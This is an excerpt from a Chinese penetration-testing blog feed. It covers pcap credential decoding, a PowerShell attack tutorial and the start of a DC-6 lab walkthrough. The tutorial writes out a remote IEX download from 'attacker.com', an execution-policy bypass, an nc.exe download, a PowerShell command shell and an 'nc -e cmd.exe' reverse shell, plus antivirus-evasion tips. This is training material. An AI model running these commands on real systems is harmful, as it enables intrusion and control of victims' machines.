&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -nX -r password_cracking_filtered.pcap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102027588" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/13ada60b20d92ce4a750bcff7bd0566b.png"&gt;&lt;/p&gt;
&lt;p&gt;发现有一些和admin字样相关的信息&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s1"&gt;&amp;#39;tcp[13] = 24&amp;#39;&lt;/span&gt; -r password_cracking_filtered.pcap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102310682" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/6c167e301d89188545b4ccd9fec6c25c.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s2"&gt;&amp;#34;tcp[13]=24&amp;#34;&lt;/span&gt; -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; grep ^Authorization &lt;span class="p"&gt;|&lt;/span&gt; sort -u 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102540363" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/5bc38b091406f86e77c67546395b308a.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s2"&gt;&amp;#34;tcp[13]=24&amp;#34;&lt;/span&gt; -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; grep ^Authorization &lt;span class="p"&gt;|&lt;/span&gt; sort -u &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515102610391" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/a64938ba56e267da79c30d70bbc864d8.png"&gt;&lt;/p&gt;
&lt;p&gt;优化显示输出&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -A -n &lt;span class="s2"&gt;&amp;#34;tcp[13]=24&amp;#34;&lt;/span&gt; -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;grep &lt;span class="s1"&gt;&amp;#39;^Authorization&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sort -u &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;cut -d &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; base64 -d&lt;span class="p"&gt;;&lt;/span&gt; echo&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515103432212" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/421f4e6bc4ab764b7ce91cd38bb0ddc6.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到这个行为就是在爆破admin用户的密码。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day11 Kali渗透工具Powershell</title><link>https://ruajingjing.top/post/day11-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powershell/</link><pubDate>Wed, 14 May 2025 16:44:55 +0000</pubDate><guid>https://ruajingjing.top/post/day11-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powershell/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day11 Kali渗透工具Powershell" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;以下内容建议在虚拟机中测试，安装Windows10直接点击注册即可，安装Windows11可以参考如下教程设置后链接。win系统镜像可关注&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，后台回复“OSCP配套工具”获取本文的工具，文件夹&lt;code&gt;Day11-12&lt;/code&gt;中有。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://zhuanlan.zhihu.com/p/690853440" target="_blank" rel="noopener"
 &gt;手把手、超详细：安装Windows11 虚拟机Vmware 16.x Pro教程！&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="powershell"&gt;PowerShell
&lt;/h2&gt;&lt;p&gt;下载地址：https://aka.ms/PSWindows&lt;/p&gt;
&lt;p&gt;​&lt;strong&gt;​概述​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;定义：微软开发的脚本语言和命令行 Shell，集成于 Windows 系统，支持自动化任务和系统管理。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;特点：无需额外安装，可直接调用 .NET 框架，功能强大且灵活。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250508150733262" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250508150733262.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;渗透测试用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;信息收集：枚举系统信息、进程、服务等（如 &lt;code&gt;Get-Process&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;权限提升：利用漏洞或配置错误提权（如绕过 UAC）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;横向移动：通过 WMI 或 PSRemoting 控制内网其他主机。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;文件传输：下载恶意文件（&lt;code&gt;Invoke-WebRequest&lt;/code&gt; 或 &lt;code&gt;IEX&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;持久化：创建计划任务、注册表项等维持访问。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512150549380" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512150549380.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250512150627549" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512150627549.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;PowerShell ISE&lt;/code&gt;和终端cmd不同，&lt;code&gt;PowerShell ISE&lt;/code&gt;能执行的命令比终端多，而且ISE的界面类似普通编程IDE界面，上方可以编辑ps1文件，并运行，在下方显示运行结果。右侧显示各种模块的名称，可以直接查找后插入。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;常用命令示例&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 绕过执行策略执行脚本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-ExecutionPolicy&lt;/span&gt; &lt;span class="n"&gt;Bypass&lt;/span&gt; &lt;span class="o"&gt;-File&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ps1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 从远程加载并执行脚本（无文件攻击）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;IEX &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;Net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WebClient&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="py"&gt;DownloadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://attacker.com/script.ps1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 编码命令绕过检测&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$command&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Get-Process&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;System.Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Unicode&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$command&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$encoded&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;Convert&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ToBase64String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-EncodedCommand&lt;/span&gt; &lt;span class="nv"&gt;$encoded&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="实操练习"&gt;实操练习
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ExecutionPolicy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：查看当前 PowerShell 的 &lt;strong&gt;脚本执行策略（Execution Policy）&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;输出 &lt;code&gt;RemoteSigned&lt;/code&gt;&lt;/strong&gt;：
表示当前策略允许运行 ​&lt;strong&gt;​本地脚本​&lt;/strong&gt;​，但来自互联网的脚本（如通过邮件或下载的脚本）必须经过 ​&lt;strong&gt;​数字签名​&lt;/strong&gt;​ 才能运行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;渗透测试意义&lt;/strong&gt;：
攻击者需确认目标是否允许直接运行脚本，若策略为 &lt;code&gt;Restricted&lt;/code&gt;（默认），则需绕过限制（如使用 &lt;code&gt;-ExecutionPolicy Bypass&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-ExecutionPolicy&lt;/span&gt; &lt;span class="n"&gt;Unrestricted&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用&lt;/strong&gt;：将执行策略修改为 &lt;code&gt;Unrestricted&lt;/code&gt;，允许运行 &lt;strong&gt;所有脚本&lt;/strong&gt;（包括远程未签名脚本），但执行远程脚本时会弹出警告。&lt;/p&gt;
&lt;p&gt;渗透测试用途&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;绕过默认安全限制，便于直接运行恶意脚本（如从互联网下载的 &lt;code&gt;.ps1&lt;/code&gt; 文件）。&lt;/li&gt;
&lt;li&gt;通常在提权后使用，为后续攻击铺路。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;风险&lt;/strong&gt;：
用户可能因忽略警告而误执行恶意脚本。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512105804539" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512105804539.png"&gt;&lt;/p&gt;
&lt;p&gt;Kali 中自带一些用于渗透Windows的工具，存在&lt;code&gt;/usr/share/windows-binaries&lt;/code&gt;文件夹下。用命令启动一个简单的服务器，可以访问下载即将要用到的软件。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3 -m http.server
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250512171139317" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171139317.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250512171723444" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171723444.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell -c &amp;#34;(new-object System.Net.WebClient).DownloadFile(&amp;#39;http://172.168.169.128:8000/nc.exe&amp;#39;,&amp;#39;C:\Users\Administrator\Downloads\nc.exe&amp;#39;)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：
使用 &lt;code&gt;System.Net.WebClient&lt;/code&gt; 类从攻击者控制的服务器（&lt;code&gt;192.168.162.128&lt;/code&gt;）下载 &lt;code&gt;nc.exe&lt;/code&gt;（Netcat 工具），并保存到 &lt;code&gt;C:\nc.exe&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512171911906" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171911906.png"&gt;&lt;/p&gt;
&lt;p&gt;渗透测试用途&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;下载攻击工具&lt;/strong&gt;：Netcat 常用于创建反向 Shell、端口扫描或文件传输。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;横向移动&lt;/strong&gt;：将工具上传到目标内网主机，进一步控制其他设备。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;持久化&lt;/strong&gt;：结合计划任务或服务，维持长期访问权限。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250512171955777" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512171955777.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250512172959174" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250512172959174.png"&gt;&lt;/p&gt;
&lt;p&gt;如果是在靶机上测试，记得关闭Windows的防病毒功能，因为这个nv文件十分典型，会报病毒。如果是在实战渗透中，要对nc文件做加密以绕过检测。绕过检测技巧&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用加密协议（如 HTTPS）或混淆 URL。&lt;/li&gt;
&lt;li&gt;重命名 &lt;code&gt;nc.exe&lt;/code&gt; 为合法文件名（如 &lt;code&gt;svchost.exe&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;直接在内存中加载工具（无文件攻击），避免写入磁盘。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="反弹windows的shell到kali中"&gt;反弹windows的shell到kali中
&lt;/h3&gt;&lt;p&gt;Windows中打开ISE，在编辑框中输入&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$listener = New-Object System.Net.Sockets.TcpListener(&amp;#39;0.0.0.0&amp;#39;, 443);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
 $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String);
 $sendback2 = $sendback + &amp;#39;PS &amp;#39; + (pwd).Path + &amp;#39;&amp;gt; &amp;#39;;
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
 $stream.Write($sendbyte, 0, $sendbyte.Length);
 $stream.Flush();
 $client.Close();
 $listener.Stop()
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250514111441536" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250514111441536.png"&gt;&lt;/p&gt;
&lt;p&gt;然后在kali中输入&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc -nv 172.168.169.136 443
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250514111428779" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250514111428779.png"&gt;&lt;/p&gt;
&lt;p&gt;但是这样获得的链接不稳定，我们把&lt;code&gt;('0.0.0.0', 443);&lt;/code&gt;改为攻击机的地址，就能获得稳定的shell。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$listener = New-Object System.Net.Sockets.TcpListener(&amp;#39;172.168.169.128&amp;#39;, 8888);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
 $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String);
 $sendback2 = $sendback + &amp;#39;PS &amp;#39; + (pwd).Path + &amp;#39;&amp;gt; &amp;#39;;
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
 $stream.Write($sendbyte, 0, $sendbyte.Length);
 $stream.Flush();
 $client.Close();
 $listener.Stop()
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;由于之前我们已经用命令下载了&lt;code&gt;nc.exe&lt;/code&gt;，所以我们可以在window上用nc方便快捷的建立一个反弹shell。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./nc.exe 172.168.169.128 4444 -e cmd.exe 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后在kali上监听4444端口即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nc -nlvp &lt;span class="m"&gt;4444&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514154743228" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250514154743228.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day10 DC-6、DC-9靶场WP</title><link>https://ruajingjing.top/post/day10-dc-6-dc-9%E9%9D%B6%E5%9C%BAwp/</link><pubDate>Wed, 07 May 2025 16:14:33 +0000</pubDate><guid>https://ruajingjing.top/post/day10-dc-6-dc-9%E9%9D%B6%E5%9C%BAwp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day10 DC-6、DC-9靶场WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="dc-6"&gt;DC-6
&lt;/h2&gt;&lt;p&gt;靶场文件下载地址： &lt;a class="link" href="https://download.vulnhub.com/dc/DC-6.zip" target="_blank" rel="noopener"
 &gt;https://download.vulnhub.com/dc/DC-6.zip&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="信息收集"&gt;信息收集
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;sudo arp-scan -l
nmap -sS -sV -A -T5 -p- 172.168.169.132
dirsearch -u http://wordy/ -i 200 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250414101814873" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414101814873.png"&gt;&lt;img alt="image-20250414101905502" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414101905502.png"&gt;&lt;/p&gt;
&lt;p&gt;只有22，80端口开放，从80端口的扫描结果看，页面重定向到了Wordy的一个域名（也不是真域名），我们要改一下Host文件才能正常解析。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250414102310327" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414102310327.png"&gt;&lt;/p&gt;
&lt;p&gt;修改host文件，末尾添加这行才能正常解析。&lt;/p&gt;
